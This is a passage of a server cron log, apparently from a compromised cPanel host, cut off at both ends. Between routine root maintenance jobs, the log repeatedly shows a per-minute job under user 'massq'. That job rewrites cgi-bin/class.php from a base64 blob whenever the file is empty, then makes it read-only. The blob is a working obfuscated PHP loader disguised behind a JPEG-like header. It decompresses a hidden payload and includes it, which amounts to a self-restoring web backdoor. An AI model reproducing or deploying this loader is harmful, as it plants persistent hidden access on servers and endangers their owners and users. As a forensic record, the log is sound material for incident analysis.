tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 20:25:01 server CROND[7615]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 20:25:01 server CROND[7616]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 20:25:01 server CROND[7617]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Apr  6 20:26:01 server CROND[7749]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 20:27:01 server CROND[7828]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  6 20:27:01 server CROND[7829]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 20:28:01 server CROND[7895]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 20:29:01 server CROND[8070]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 20:30:01 server CROND[8151]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 20:30:01 server CROND[8152]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 20:30:01 server CROND[8153]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Apr  6 20:30:01 server CROND[8157]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 20:30:01 server CROND[8159]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 20:31:01 server CROND[8296]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 20:32:01 server CROND[8353]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 20:33:01 server CROND[8422]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 20:34:01 server CROND[8494]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 20:35:01 server CROND[8656]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  6 20:35:01 server CROND[8657]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 20:35:01 server CROND[8658]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr  6 20:35:01 server CROND[8660]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 20:35:01 server CROND[8662]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 20:36:01 server CROND[8782]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 20:37:01 server CROND[8855]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 20:38:01 server CROND[8929]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 20:39:01 server CROND[8994]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgk